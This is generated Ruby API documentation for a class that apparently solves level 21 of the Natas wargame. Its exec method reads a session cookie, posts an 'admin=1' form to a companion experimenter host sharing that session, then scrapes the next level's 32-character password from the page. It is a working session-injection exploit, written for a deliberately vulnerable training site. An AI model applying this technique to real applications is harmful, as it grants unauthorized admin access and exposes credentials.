Class: NatasLevel21

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 21

Constant Summary collapse

LEVEL =
21
PAGE =
'/'
EXP_HOST =
"natas21-experimenter.#{HOST}"

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
# File 'lib/natas.rb', line 640

def exec
  response = get(PAGE)
  cookie = response['Set-Cookie']
  session_id = cookie.split('; ').first
  client = Net::HTTP.new(EXP_HOST, PORT)
  request = Net::HTTP::Post.new(PAGE, { 'Cookie' => session_id })
  request.basic_auth(@login, @password)
  request.set_form(
    {
      'admin' => 1,
      'submit' => 'Update'
    }
  )
  client.request(request)
  data = get(PAGE, { 'Cookie' => session_id }).body
  match = %r(Password: (\w{32})</pre>).match(data)
  not_found unless match
  found(match[1])
end